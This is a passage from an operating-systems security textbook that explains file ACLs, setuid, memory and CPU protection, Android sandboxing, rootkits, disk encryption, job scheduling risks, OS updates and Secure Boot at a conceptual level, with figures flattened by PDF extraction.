The possible access rights which members of the individual classes can be as-
signed can be:
• Read, which gives the right to read the object. If the object is a folder, it gives the
right to read the names of the files in the folder, but not the right to read the files
themselves.
256 9 Security in Operating Systems

Full ACL Unix

Alfie ORW Owner Class O: RW

}
Beata RW
Charlie RW Group
Class G: RW
Diane RW "team3"

}
Elfrieda RW
Filip R
Georgina R
Henrietta R
Ivan R
Jehosophat R All other
Class W: R
Karel R users
Lavard R
Melissa R
Nesta R
Olli R

Fig. 9.15 Access rights in an ACL and in a Unix-style compressed ACL

• Write, which gives the right to write in (and thus to modify) the object. If the
object is a folder, it gives the right to create, delete and rename the files in the
folder.
• eXecute, which gives the right to execute the object’s content as a program. If the
object is a folder, it gives the right to read named files and their properties, but not
to read the names of the files in the folder unless the the R-right is also assigned.
Two further rights, setuid and setgid, apply regardless of which class of subject we
consider. They are discussed in more detail below.
An assignment of rights for an object test2.php, whose owner is man and group
is ape would in Unix typically be displayed in the form:
test2.php man,ape − rwx rw- r--
| {z } |{z} |{z} |{z}
uid,gid O G W
This shows that:
• The owner, man, who is the only member of class O, has rights to read from,
write into and execute the object (rights RWX).
• Members of the group ape, which make up class G, have rights to read from and
write into the object (rights RW).
• All other subjects, which make up class W, have rights to read from the object
(right R).

Problems with Unix-style File Protection:

• A single object can only belong to one group at a time.
• If the owner belongs to several groups, he must take care to set the object’s groupid
to specify the desired group when he creates the object.
• It is not possible to find sharing partners on a file-by-file basis.
These problems are illustrated by the following examples:
9.3 Access Control in File Systems 257

1. Alice owns a file: script.pl

• Alice wants other subjects to be able to use the file:
Barbara read
Christine write
Dina read, write
Elsie execute
• Which subjects must she include in the file’s group?
• Which rights must she assign to Owner, Group, World?
2. Alice owns a file: doggy.bag
• Alice wants all users except Zoe to have read access.
• Which subjects must she include in the file’s group?
• Which rights must she assign to Owner, Group, World?
There are no solutions to these problems if you are only allowed to use Unix’
compressed ACLs. But both can be solved if the Unix variant makes it possible to
use full ACLs as an alternative to the compressed ACLs which are standard. This is
the case in Linux, FreeBSD, and OpenSolaris, amongst others.

9.3.2 setuid and setgid

From time to time you need to permit people apart from the owner to execute a
program which requires special security measures. A typical situation would be if
the program gives access to a database with confidential information. In Unix-based
OSs this can be done by giving the object which contains the program a special right:
Set Userid (most often known as just setuid). This allows the object to be executed
with the owner’s rights. The situation with the confidential database can be dealt
with as follows when rights are to be assigned:
• Create the database, so only the owner has access.
• Write an access program, 𝐴𝑃, which controls the individual subject’s access to
the database.
• Give 𝐴𝑃 the setuid right.
• A subject who is not the owner can only gain access to the database by executing
𝐴𝑃. 𝐴𝑃 controls the access, but the subject gets the impression that it is actually
the owner.
• As soon as execution of 𝐴𝑃 finishes, the subject goes back to having its usual
rights, in accordance with the Principle of Least Privilege.
A related right, Set Groupid (most often known as just setgid), is correspondingly
used to permit the object to be executed with the rights which its group has been
assigned.
258 9 Security in Operating Systems

9.3.3 Windows NT ACLs

Windows NTFS uses ACLs which were originally developed for use in Windows
NT. An object’s (that is to say, a file’s or folder’s) ACL gives the sets of rights for
one or more subjects or groups of subjects. The basic rights, in Windows known as
special permissions, are:
• Read Data (abbreviated below to R): Gives the subject the right to læse the object’s
indhold. If the object is a folder, this means that the subject can list the content of
the folder.
• Read Attributes (RA): Gives the subject the right to read the object’s (the file’s or
folder’s) attributes.
• Read Extended Attributes (RE): Gives the subject the right to read the object’s
extended attributes.
• Write Data (W): Gives the subject the right to write in (and thus perhaps change
the content of) the object. If the object is a folder, this means that the subject can
create new files in the folder.
• Append Data (A): If the object is a file, this gives the subject the right to append
data at the end of the file. If the object is a folder, this gives the right to create
new subfolders in the folder.
• Write Attributes (WA): Gives the subject the right to change the object’s attributes.
• Write Extended Attributes (WE): Gives the subject the right to change the object’s
extended attributes.
• Delete (D): Gives the subject the right to delete the object.
• Execute (X): If the object is a file, this gives the subject the right to execute the
content of the file as a program. If the object is a folder, this gives the right to
traverse the folder in order to access subfolders.
• Read Permissions (RP): Gives the subject the right to read the permissions (see
below), which apply to the object.
• Change Permissions (C): Gives the subject the right to change the permissions
which apply to the object.
• Take Ownership (O): Gives the subject the right to take ownership of the object.
The owner can change the rights which are assigned to the object, irrespective of
which rights have been assigned previously.
These basic rights are normally grouped into sets, known simply as permissions,
which match common requirements for combinations of rights:
• For files:
– No Access = {}
– Read = {R,RA,RE,RP}
– Read and Execute = {R,RA,RE,X,RP}
– Write = {W,A,WA,WE,RP}
– Modify = {R,RA,RE,X,W,WA,WE,D,RP}
– Full Control = { all basic rights }
9.4 Access Control for Other System Components 259

• For folders: The set of permissions is extended to permit listing of the content of
folders:
– List = {R,RA,RE,X,RP}
An object’s ACL specifies the sets of rights for one or more subjects or groups.
Notice that it is only subjects which have the permission Full Control which can
directly assign rights such as Change Permissions or Take Ownership to another
subject. On the other hand: if an attacker can achieve full control, for example for a
folder, there is nothing which can prevent him doing whatever he likes in the folder.
As a subject can belong to several groups, the rules for dealing with rights become
rather more complicated. An example of this situation, where User A belongs to both
Group G and Group H, and where User B belongs to Group G, is shown in Fig. 9.16.

Object catalog
User A {R,X}
bibliog {}
User B
temp Group G (={A,B,C}) {R,W,X,D}
F Group H (={A,D,F,S}) B
help.txt
...

Fig. 9.16 Rights for individual users and groups in Windows

B indicates the set of all basic rights.

The rules for gaining access to an object with this type of ACL are:
• If any of the subject’s sets of rights does not permit access to the object, then
access is forbidden.
• If all of the sets of rights do allow some form of access, then the subject gets the
union of the subject’s sets of rights.
This gives a much more fine-grained model than in traditional Unix systems, at the
cost of much greater complexity.

9.4 Access Control for Other System Components

The files are far from the only system components which must be protected. A good
system for access control will control access to all resources in the IT system. But
the mechanisms vary from one type of resource to another.
260 9 Security in Operating Systems
Fence

a.
OS region User program region

Bound1 Bound2 Bound3

Base1 Base2 Base3

b.

0 4 8 12 16 20 24 28 32 36 40 44 48

Physical memory (kbytes)

Fig. 9.17 Two simple techniques for memory protection

a. Separation of user program from OS with a fence.
b. Delimiting of areas with base-and-bounds limits

9.4.1 Access Control in the Memory

Except in the very simplest systems which are used in small pieces of apparatus, the
memory system will offer hardware based support for access control, typically via
special registers in the CPU or via a Memory Management Unit (or MMU for short),
which can be a part of the CPU or a separate unit. The chosen technique depends on
the degree of multiprogramming.
Fence: There is a fixed or variable boundary between the OS’s and the user pro-
gram’s areas in the memory, as illustrated in Fig. 9.17(a). The position of the bound-
ary is recorded in a fence register. This technique is only suitable for very simple
systems without multiprogramming, where there is in fact only a single user program
in the memory at any time. It can be used to prevent user programs from writing in
the area which is reserved for the OS, but it cannot prevent the user program from
accessing part of its own area in an unsuitable way.
Base-and-bounds: The program area for each user program is described by its
lower and upper limits, as illustrated in Fig. 9.17(b). This makes it possible not only
to separate user programs from one another, but also to keep areas in the individual
user program where orders and constant data are stored separate from areas for data
buffers whose contents can be modified.
Segmentation: Each program is divided up into segments, where each segment
contains a logically cohesive part of the program—for example an area with constant
data, an area with buffers for incoming data, a stack for arguments of functions and
intermediate results, and various areas for executable instructions. The segments
are placed in the memory wherever the OS can find room for them, and a segment
table for each subject describes the segments, their actual physical positions in the
memory, sizes and the subject’s access rights. This is illustrated in Fig. 9.18.
In the system shown in the figure we can for example see that Segment 0 is a
segment which can be both read from and written to, and which is placed in the
9.4 Access Control for Other System Components 261

base length rights

Segment: 0 37410 2730 RW

invalid
2 invalid
4096 4096 RW
4 8740 3400 RW
invalid
6 21844 10012 R
13650 820 R

8 invalid
44236 3400 RW

10 0 3280 R
17066 1364 R

0 4 8 12 16 20 24 28 32 36 40 44 48

Physical memory (kbytes)

Fig. 9.18 A segment table and the allocation of space in the memory which it corresponds to

memory from address 37410 and up and has length 2730 bytes, while Segment 6 is
a segment which can only be read, placed in the memory from address 21844 and
up, and with length 10012 bytes. The example shows a very small physical memory
of only 48 kbytes. In a modern computer, the size would normally be very much
larger—for example several Gbytes. The segment table itself would very often be
stored in the memory in a special area whch only the OS has access to.
Paging: The physical memory is divided up into pages, which are memory blocks
of uniform size. A page table for each user describes the relationship between areas
in the program’s memory and the physical pages in which these areas are placed,
together with the sizes of the areas (they don’t all need to fill exactly a whole page!)
and access rights. This is illustrated in Fig. 9.19, which in fact shows the same
program areas with the same access rights as in Fig. 9.18, but now distributed over
the pages in a paged memory. Just like segment tables, the page tables will often
be stored in the memory in a special area which only the OS has access to. This
organisation is used in many small systems, such as tablets and smartphones, as it is
supported by the very popular ARM CPUs.
The page size is very often 4096 bytes, as in the figure, but some systems which
use paging permit several different sizes. If the size is small, there will naturally be
many pages in a memory of a reasonable size, and the page table will be very large.
If the page size is large, the page table will not need to be so big, but there may be a
262 9 Security in Operating Systems

base length rights

Page: 0 36K 2730 RW
invalid
2 20K 4096 R
4K 4096 RW
4 8K 3400 RW
invalid
6 24K 4096 R
12K 820 R
8 invalid
44K 3400 RW
10 invalid
invalid
12 28K 912 R
invalid
14 0K 3280 R
16K 1364 R

0 4 8 12 16 20 24 28 32 36 40 44 48

Physical memory (kbytes)

Fig. 9.19 A page table and the allocation of space in the memory which it corresponds to

lot of wasted space in the memory because the individual pages will as a rule only
be filled to a small extent.
The two last methods can be combined, so for example the segments are divided
up over a number of pages. This has the advantage that it is not necessary for the
OS to find space in the memory for a whole segment—only for that part of the
segment which is cúrrently needed. This organisation was very common in modern
desktop computers, as it was supported by Intel’s and AMD’s x86 CPUs in their
32-bit versions. AMD’s and Intel’s 64-bit CPUs use pure paging when they operate
in 64-bit mode.
Both segmentation and paging can be used as a basis for systems with a so-called
virtual memory, where the programs can have a size which is larger than the physical
memory which they are allocated can hold. Some of the segments or pages are then
held on the disk until they are actually needed. When this happens, the OS will,
if necessary, move some segments/pages which are not needed at the moment out
to the disk, and will move the segments/pages which are now needed for use into
the space which in this way becomes available. Most operating systems maintain a
so-called swap area on the disk, where parts of programs which have been moved
9.4 Access Control for Other System Components 263

out can be kept until there is a need for them again. The segment tables and page
tables then look slightly different from Fig.s 9.18 and 9.19, as it will be necessary to
show whether each area currently lies in the physical memory or is swapped out, i.e.
has been moved to the swap area on the disk.

9.4.2 Access Control for Hardware Units

To provide a secure IT system, the operating system must also keep track of which
subjects may directly access the computer’s hardware units. It is not a good idea for
every subject to be able to have access to the computer’s webcam, for example, so
inappropriate people can see what the computer’s owner is doing. And even if you
have a protection mechanism for files as discussed above, it is not a good idea to
allow any arbitrary subject to have direct access to the disk. Modern disks are often
very large and contain a lot of unused space, which an attacker who had direct access
to the disk without going via the file system could use for storing malware or other
illegal material.
In Unix-based OSs, protection of hardware units is relatively simple, as every
hardware unit is handled like a file, with suitable access rights for its owner, group
and everyone else.
In Windows-based systems, information about hardware units can normally be
found in the operating system’s Registry. This is a hierarchically organised database,
with information about software and hardware units associated with the computer.
The database consists of a hierarchy of keys and subkeys, each of which is a container
corresponding roughly to a folder or subfolder in the file system. In the newest
versions of Windows, there are six root keys at the top of the hierarchy, of which
the root key HKEY_LOCAL_MACHINE (often abbreviated HKLM) contains information
about the local computer, including information about the hardware units attached
to the computer. This information is stored particularly in two subkeys of HKLM:
• HKLM\SYSTEM, which contains, amongst other things, a list of currently attached
units which contain a file system, and information about available drivers for
controlling units.
• HKLM\HARDWARE, which contains information about the system’s hardware. This
information is volatile: it is re-created every time the computer is started and
detects which hardware, including Plug-and-Play units, is present.
Unauthorised changes to these entries in the Registry can obviously have a disastrous
effect on the computer’s operation—for example, if the description of the genuine
driver for a unit is replaced by a description of a false driver. Unauthorised changes
can, however, be avoided by setting a suitable ACL on each key and subkey in
the Registry. These ACLs have the same structure as for files, but a special set of
permissions adapted to Registry keys.
264 9 Security in Operating Systems

Ring 3 Ring 3
Ring 2 Ring 2
Ring 1 Ring 1
Ring 0 Ring 0

⇔ ⇔ ⇔ ⇔Ring
-1
⇔

⇕ ⇕

Fig. 9.20 Protection rings for a CPU

Left: Standard Intel x86 and AMD
Right: With Intel VT-x or AMD-V for hypervisor mode

9.4.3 Access Control for the CPU

All programs need to use the computer’s CPU, but since some of the CPU’s in-
structions can affect the security of the system, it can be a big advantage if not all
programs are allowed to use the entire instruction repertoire. Except in the simple
OSs used in small pieces of apparatus and the like, it is therefore common to divide
programs up into classes with different privileges. The OS itself must normally be
able to use all the instructions, while ordinary user programs (“apps”) can only use
a limited subset.
Most modern CPUs (again except those that are used in small pieces of apparatus)
support this strategy by being able to operate in different modes with different
privileges. Typically there is at least one user mode for ordinary user programs and
a privileged mode (or kernel mode) for the operating system itself, but there can be
more, so there is a hierarchy of levels with different privileges. Figure 9.20 illustrates
the idea.
When you look at the figure, you should think of the way in which a castle from
the Middle Ages is constructed, where the inner, more privileged parts are protected
against attacks by a series of ring walls—in OS jargon the levels are indeed known
as protection rings. CPUs offer only very limited possibilities for moving from one
ring to another, indicated in the figure by the ⇔ symbols on the boundaries between
neighbouring rings. Just like in a castle, these crossing points are called gates. The
picture on the left shows the protection rings in Intel’s x86 series of CPUs, where
there are four modes, and the corresponding rings are numbered from 0 (the most
privileged) to 3 (the least privileged). Although there are four rings, the great majority
of CPUs today only use two of them (Ring 0 and Ring 3), for compatibility with
older CPUs which only had two modes. There are also several variations on this idea:
The ARM-based CPUs which are used in many mobile telephones and tablets, for
example, have a single user mode but a number of privileged modes, which provide
access to instructions that manipulate different sensitive resources, and which are
therefore used in different situations.
9.4 Access Control for Other System Components 265

Things get a bit more complicated when the OS has to handle one or more virtual
machines with the help of a hypervisor. Each virtual machine has its own operating
system, which is said to run as a guest on top of the underlying OS, which is known
as the virtual machine’s host. The guest must not be allowed to disturb the host OS.
So which rings should you put the guest and host OSs into? Newer Intel and AMD
CPUs solve this problem with the help of some special instructions2 that support
hypervisors, and they introduce a Ring -1, with a corresponding hypervisor mode for
the CPU. The host OS and the hypervisor run in Ring -1, while the guest OS runs in
Ring 0, where it can use the ordinary OS privileges but not use the special hypervisor
instructions or disturb the host OS. This is illustrated on the right in Fig. 9.20.

9.4.4 Access Control in Android

The operating system Android, which is used in many mobile phones and tablets, has
a more complex approach to the assignment of rights. Android is based on Linux,
but extends Linux’ access control for files and hardware units with an extra layer
of control. Linux’ access control is used directly to regulate access to the Internet,
Bluetooth and external storage. The extra layer regulates access to more or less
everything else, including:
• Areas on the SIM card and (if present) SD cards, where contact information and
text messages can be stored;
• The built-in GPS and the system for determining location;
• Settings;
• The mechanism for sending text messages;
• The mechanism for installing and/or uninstalling apps.
Apps on the telephone are executed in a so-called sandbox, where the application
runs in a virtual machine, known as Dalvik, in which attempts to access the protected
resources are compared to the permissions which were assigned when the application
was installed. The architecture of the system is shown schematically in Fig. 9.21.
Dalvik is a variant of a Java Virtual Machine (JVM) which—just like an ordi-
nary JVM—interprets instructions in Java bytecode instead of instructions which
the computer’s CPU is built for. An app has access to an API library, which com-
municates with one or more system processes which offer a series of services that
perform the actual task for the app. Checks that the app has the necessary permis-
sions take place in these system processes. For special purposes, the app’s bytecode
can be supplemented with components written in so-called native code, which can
run directly on the underlying CPU. App components in native code can, however,
not call the API library directly—they must go via the app, which packs them into
a wrapper, so that they appear like Java components. This approach ensures that all
program components go through the same sort of permission checks.

2 VT-x for Intel; AMD-V for AMD.

266 9 Security in Operating Systems

Application process System processes

Dalvik virtual machine Dalvik virtual machine
API library Thread

App API RPC stub Binder Service 1

:
Native code Thread :
Native C
Binder Service N
App component library

Fig. 9.21 Software architecture in Android (after [35])

9.4.5 Bypassing Access Control: Rootkits

As ordinary operating systems give extensive privileges to a subject which has a

status as administrator (or “root”), it is a natural aim for an attacker to try to achieve
this status. This phenomenon is known as privilege escalation. Typically this is
achieved by exploiting a software vulnerability such as one of those described in
Chap. 10, or by misusing a service which has been configured to run with high
privileges, such as a web browser or database server running with the privileges of
the root user.
An alternative approach is to use a type of malware known as a rootkit. The name
“rootkit” arose because the first generation of these used privilege escalation in order
to achieve root privileges, and then used cloaking techniques to hide their presence
in the victim computer. Modern rootkits have hiding their malicious payload as their
primary objective. This enables the attacker to remain undetected in its victim for
a long period, during which it can for example monitor user activity, collect up
passwords or other credentials, or act as part of a botnet to send out spam mail or
perform DDoS attacks.
Well-constructed rootkits are really good at hiding their presence, so they can sit
in a computer for a very long time without being detected. Typically they will at the
very least take steps to modify system programs for listing files and processes, so
that the rootkit’s files and processes do not appear in the lists. They may also turn
off the victim’s event logging system, if there is one, so as to prevent evidence of
the attack being recorded. Some also turn off the antivirus system, so as to avoid
detection of their malicious payload and its effcts.
Originally, rootkits were something you only saw in Unix-based operating sys-
tems. More recently, however, rootkits for several variants of Windows, for hypervi-
sors for virtual machines, for BIOS and other firmware have turned up. The infamous
Stuxnet worm, which was used to attack industrial software, even contained a rootkit
for a PLC, which is a very primitive form of computer.
Rootkits can be designed to run in different CPU modes, and therefore with
different possibilities for exploiting the machine’s instructions. The simplest and
least privileged are user mode rootkits, which run with the CPU in user mode
9.4 Access Control for Other System Components 267

and typically undermine the system’s normal operation by modifying the program
interfaces (APIs) which are used for ordinary user applications, so these apps get to
use the rootkit’s program libraries instead of standard ones. A kernel mode rootkit
runs with the CPU in its privileged mode and therefore has the same privileges as
the OS itself. Rootkits of this type often exploit the fact that modern OSs are built up
from a collection of modules and that some of these modules (for example drivers for
hardware units) can be added dynamically while the OS is running. In this way the
rootkit can compromise central functions in the OS – including important security
functions such as IDSs and antivirus programs.
Rootkits are as a rule not just hard to detect, but also difficult to get rid of, once they
have infected a system. One of the reasons for this is that some types of rootkit hide in
parts of the computer which are hard to tidy up in. Some types of kernel mode rootkit,
known as bootkits, infect the disk’s Master Boot Record, which contains code for use
when the system is started up. This can enable the rootkit to collect passwords and
encryption keys which are needed during the startup process, for example in systems
with Full Disk Encryption, which is discussed in Sect. 9.5 below. Certain rootkits
infect the most basic part of the operating system, the computer’s BIOS, which is
stored in hardware and therefore is not normally checked for integrity. This type of
rootkit can survive replacement of the system’s disk or reinstallation of the entire
operating system.
Operating systems such as SELinux, which are used for tasks where specially high
securiy is required, will often be protected against rootkits. But for more ordinary
OSs it is very important to catch the rootkit before it installs (and hides) itself. Tools
for detecting installed rootkits are available, but clever developers of rootkits know
these tools and know how to construct the rootkit so it avoids their attention. As
most rootkits are installed with the help of malware, such as worms or trojan horses,
a good system for detection of malware is as a rule the best protection. We return to
this topic in Chap. 10.

9.4.6 The Reference Monitor revisited

At the beginning of this chapter it was stated that a good aim for an access control
system was, that it should fulfil the requirements for a Reference Monitor. That is
to say, it was constructed to check every attempt to access an object, that it was
not possible to tamper with the control mechanism, and that the mechanism was so
simple that it could be completely analysed and shown to be correct. It is interesting
to see whether these requirements are fulfilled in the ordinary OSs which are used
in the large majority of IT systems.
• Checking every access: This requirement is usually fulfilled for access to mem-
ory, where the check is performed by hardware. But for access to files the require-
ment is not always respected, due to various optimisations: On the first access to
a file, the OS will set up a data area with a description of the file and the subject’s
access rights. This description will often be used in subsequent operations by the
268 9 Security in Operating Systems

same subject on the same file, until the file is closed again at the end of processing.
In the mean time, the subject’s access rights to the file may have changed.
• Prevention of tampering: This requirement is very hard to fulfil for software,
but can to a large extent be fulfilled by mechanisms which use specially hardened
hardware units to perform the control. The best-known examples can be found in
operating systems for mainframe computers such as IBM’s z/OS and z/VM.
• Demonstration of correctness: In many common operating systems, the con-
trol mechanism is so complex that it is no longer realistic to demonstrate its
correctness. Only a few Unix variants, especially FreeBSD, have been analysed
thoroughly. Windows XP is believed to have been designed to be based on a
Reference Monitor, but due to the system’s complexity it is doubtful whether
correctness could in practice be demonstrated.

9.5 Encryption in the Operating System

An alternative way of protecting data against unwanted readers is to encrypt the

data, so it becomes unimportant whether an unauthorised person or process gains
access to an area where sensitive data is stored—it will anyway not be possible to
understand or exploit these data unless you have the necessary decryption functions
and keys.
Encryption for protecting stored data can be introduced in different ways. Three
of the most common are:
1. Through software functions built in to the operating system, such as BitLocker
for Windows and FileVault for OS/X;
2. Through software functions in a utility program for the OS, such as TrueCrypt
(now discontinued) and its successors VeraCrypt and CipherShed;
3. By using encryption units built into the hardware in the IT system’s disks. These
units are controlled by drivers installed in the OS.
Encryption systems in the operating system normally aim to provide transparent
encryption—that is to say, data are automatically decrypted when they are read and
automatically encrypted when they are written.
Some encryption systems only give the user the possibility of encrypting indi-
vidual files or folders (such as in Windows with EFS, but without BitLocker), while
others make it possible to encrypt the whole disk, a technique known as Full Disk
Encryption (or just FDE for short). FDE has the advantage that almost everything
on the disk can be encrypted—i.e. not just the data content of ordinary files, but also
the files’ so-called metadata (the files’ names, sizes, creation and modification times
etc.) and any areas on the disk used as swap areas, where parts of programs which
are active, but not currently in the computer’s memory, are temporarily stored. Both
metadata and swap areas can contain confidential information which an attacker
perhaps can exploit. They are normally not protected by systems which only allow
encryption of individual files and folders.
9.5 Encryption in the Operating System 269

A problem with FDE is that it requires special tricks to start the system. It is
obvious that at least some parts of the OS have to be decrypted before the OS can
be started. But where should the decryption functions and keys be stored? A simple
solution would be to let a small area on the disk, containing decryption software
and keys, remain unencrypted, but this is plainly not a secure way of solving the
problem. A more secure approach is to use pre-boot authentication, a technique
where a specially hardened mini-OS, whose integrity can easily be checked on the
basis of its cryptographic checksum, is used to start the main OS. The mini-OS will
only start the main OS if it receives a particular “external key” which acts as a proof
of the user’s identity. More or less all the user authentication methods which were
discussed at the start of this chapter can in principle be used: a password, a biometric
measurement, a smartcard (or even just a flash drive) containing a PIN code or other
unique form of identification.
The use of transparent encryption presupposes that the encryption system has
constant access to the necessary encryption and decryption keys. But the keys are
themselves very sensitive pieces of information which must be protected. This can be
done by software which maintains a keystore, as in many Windows-based systems, or
a keyring, as in many Unix-based systems. The keystore/keyring is itself encrypted,
typically with a key which is specific for the individual user.
Alternatively, the keys can be stored in a hardware unit, either in the form of a
smartcard, which the user if necessary can carry round, or in a Trusted Platform
Module (TPM), which is typically built in to the computer itself. A TPM is a
unit, constructed in accordance with International Standard ISO/IEC 11889:2009,
which can generate new keys, encrypt and decrypt data and calculate cryptographic
checksums. TPMs are used for ensuring the integrity of IT systems’ configuration,
in order to prevent unauthorised replacement of hardware or software components,
and are also frequently used in control units for disks with FDE. When smartcards
or TPMs are used for encryption of data, it is typically possible to keep the keys
inside the hardware unit, so they are never—not even temporarily—stored in the
computer’s memory, where a crafty attacker could get hold of them.
When the keys are stored and fetched by using software, it is possible for a
technically knowledgeable attacker to find the keys, since typical software-based
encryption systems save the keys in characteristic places in the computer’s memory.
And even if they do not save the main key for more than a moment, software solutions
which use round-based encryption algoritms, such as AES or 3DES, often store the
round keys in order to save time. From these round keys it is often possible to work
back to the value of the main key.
This is especially thought to be a problem if an attacker finds or steals a laptop
PC or tablet which is running or in the standby state, as it can then be woken up
without going through the entire startup procedure. The machine can be attacked by
a so-called cold boot attack, where the machine is restarted from a removable disk
containing a simple OS, which is used to copy the machine’s memory into a file. Even
if the machine is turned off during the restart procedure, the content of the memory
will survive for a few seconds – long enough to copy it for further investigation.
The attack does not work if the machine is completely turned off or in the hibernate
270 9 Security in Operating Systems

state, as it is then necessary to go through the normal startup procedure where the
contents of the memory are initialised and any keys therefore disappear.

9.6 Job Scheduling

Most OSs have a system for scheduling when particular jobs are to be set going.
There can, for example, be a need for this:
• Based on time: E.g. backup every night at 02.00.
• Based on events: E.g. run Tripwire at system startup.
Well-known job scheduling systems include:
• CRON in Unix-based OSs
• Task Scheduler in Windows
• CA-7 in various OSs, especially for mainframes.
In Windows, jobs can also be started by making use of Run entries in the OS’s Reg-
istry. This approach is typically used to schedule tasks which are to be run when the
system starts up. Entries in the Registry under the root key HKEY_LOCAL_MACHINE
(HKLM) such as:
• [HKLM\Software\Microsoft\Windows\CurrentVersion\Run]
• [HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce]
are used to set tasks going which are to be started when Windows starts up, while
entries under the root key HKEY_CURRENT_USER (HKCU) such as:
• [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
• [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
are used to set tasks going which are to be started when a user logs in.
Job scheduling systems make it much easier for a system administrator to organise
regular administrative tasks. But at the same time the use of these systems introduces
cetain risks, as they can also be used to set malicious programs going, for example
when the system starts. Specific risks can amongst other things be based on:
• Piggybacking: When an (authorised) job starts a series of programs or scripts, of
which at least one is not secure, the attacker can change the logic in the unsecured
program, so it behaves in a malicious manner.
• Substitution: The attacker replaces a program in an unsecured folder with a false
version.
• Incomplete paths: The attacker exploits the fact that a job refers to programs by
giving a reference which is not a complete path, for example just newprog.exe.
The program manager will search for this in a series of folders given by a PATH
variable, which defines the order in which these folders will be searched. The
attacker can try to place a false version of newprog.exe in one of the first folders
to be searched.
9.7 Updating the Operating System 271

20000

18000

16000
Reported vulnerabilities

14000

12000

10000

8000

6000

4000

2000

0
2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020
Year

Fig. 9.22 The number of vulnerabilities reported to the CVE system, 2005-2020. (Data source:
Mitre Corporation)

9.7 Updating the Operating System

Vulnerabilities in OSs are regularly discovered and need to be repaired or removed.

All reputable OS suppliers send out corrections, which the system administrator
must install. In many organisations this is, however, not a trivial task, as (especially
in large organisations) the deployed versions of the OS are not 100% alike.
Failure to update the OS will typically leave the way open for attacks from mali-
cious programs of various sorts: Viruses, worms, spyware, adware, Trojan horses,. . ..
A spectacular example of this was the spreading of the ransomware worm WannaCry
in Spring 2017. This malware infected unupdated computers (typically with an older
version of Windows such as Windows XP, 7 or 8) in at least 150 countries, and af-
fected private citizens, companies and critical functions of society such as hospitals
and railways.
Mitre Corporation i USA maintains a database of vulnerabilities which have been
reported through the CVE system3, and which have therefore become publicly known.
Figure 9.22, which is based on data from Mitre, shows the number of vulnerabilities
reported in the years 2005–2020. Until 2016 the number of reported (and therefore
presumably new) vulnerabilities was roughly constant around 6000 a year, but since
then the number has increased considerably and is now approaching 20 000. And as
soon as information about a vulnerability is made public, very little time passes—in
some cases just a couple of days—before it is exploited by attackers.

3 CVE is an abbreviation for Common Vulnerabilties and Exposures.

272 9 Security in Operating Systems

In reality there are almost certainly many more vulnerabilities, either in the OS or
other system programs, which have not been publicly reported. This is demonstrated
quite clearly by a number of high-profile zero-day attacks, i.e. attacks which exploit
a vulnerability, which until now has been unkown, in the victim’s system. This
has become a good business opportunity for criminals, who can discover these
vulnerabilities and sell their knowledge to the actual attackers. Unfortunately it lies
in the nature of things that software updates usually come too late to protect against
just exactly this form of attack.
Despite this somewhat worrying picture of the risk situation, one of the best
pieces of security advice which you can follow is to install OS updates from the OS
supplier as soon as they are made public. Most modern operating systems can be
configured so they automatically receive and possibly also install all updates from
the supplier.
Remember that you can also help yourself by some simple precautions:
• Reduce the number of updates which need to be installed, by disabling unneeded
or dangerous services in the OS.
• Install an IDS (as discussed in Chap. 8) to reveal attacks—preferably before they
do any damage.
• Use a system such as Tripwire to keep track of changes in critical files.
• Remember that other things, such as antivirus signatures and certificates, also
need to be kept up to date.

9.8 Is Your OS Genuine?

The idea behind enabling automatic updates to the OS is that you should then be
reasonably certain only to receive genuine updates to the OS, and not the false
updates which from time to time get sent out by attackers. However, this may not
really be true.
One reason for this is that systems for automatic downloading of OS updates often
have a negative aspect: They make use of an underlying service, such as Windows
BITS (“Background Intelligent Transfer Service”), which ensures that downloading
takes place in periods when the network is relatively lightly loaded. A clever attacker
can develop software which contains deliberately designed vulnerabilities or even
directly malicious features, which also makes use of this service. If the attacker
succeeds in installing this software in the victim’s computer, then it will instruct the
downloading service to download a new copy of the software if the previous copy
is deleted. The computer’s administrator needs to be able to prevent this happening,
and in general prevent fake or malicious software from being installed.
The way to meet this challenge is to use a mechanism known as Secure Boot. This
is an industry-wide standard implemented in the huge majority of modern computers
as part of the computer’s firmware. Most modern implementations of this firmware
9.9 What the OS Cannot Do 273

offer an interface to the OS known as the Unified Extensible Firmware Interface

(UEFI), and replace the simpler BIOS introduced in the first IBM PCs in the 1970s.
The firmware for the BIOS offers access to a variety of drivers for basic control
of hardware devices, and one of its main tasks is to initialise these devices and read
the OS into the computer’s main memory from the disk on which it is stored. By
convention, disks containing an OS which can be started by the BIOS use particular
areas on the disk known as boot sectors to hold a Master Boot Record (MBR)
containing details about the layout of information on the disk and code to load at
least the central part of the actual operating system into the memory. An attacker
who manages to alter the contents of the boot sector can therefore arrange for false
or malicious operating system components to be executed instead of the genuine
ones. This is obviously a very serious security risk, and is in fact how the so-called
bootkits described in Sect. 9.4.5 above work.
Computers with UEFI firmware offer a more advanced method for booting the
computer. Instead of relying on information about the OS being found in particular
sectors of the disk, they provide a boot manager in the firmware. This checks the boot
configuration of the computer, loads drivers which are needed to operate the installed
devices together with simple applications such as a clock service and a user interface
service, and then starts a boot loader which actually loads the software for the OS
into the memory and initiates its execution. When the Secure Boot mechanism is
activated, the boot manager will only load device drivers and boot loaders which have
been signed with a digital signature based on a Key Exchange Key (KEK) (actually
a key pair, consisting of a public key and a private key) which is registered in a
signature database in the firmware.
Of course you can only trust that drivers and OSs signed using a KEK are genuine,
if the mechanism for registering KEKs is secure. In practice this means that you have
to trust that the firmware is genuine and fault-free. In systems using UEFI, it is the
manufacturer of the equipment which certifies that this is the case by setting up a
Platform Key (PK) (which is also in fact a key pair) whose private key is used to
sign the KEKs and whose public key can be used to check the KEKs’ signatures.
The chain of trust is illustrated in Fig. 9.23.

Manufacturer Platform Signature Disk

Database
installs signs signs
Fig. 9.23 Trust in a UEFI- PK KEK OS
based system trusts trusts

9.9 What the OS Cannot Do

This chapter may have given you the idea that a well-designed operating system can
give you good protection against many forms of attack. However, it is important to
realise that there are limits to what it can achieve without the collaboration of the
274 9 Security in Operating Systems

user or system administrator. Someone has to choose which rights to give individual
users, which cryptographic functions to use, which authentication mechanisms to
use and so on. Someone has to select suitable hardware and/or software for mal-
ware detection and intrusion detection, activities which traditionally lie outside the
OS itself. Someone also has to make sure that updates are regularly and correctly
installed.
You should also realise that physical security plays a big role in protecting your
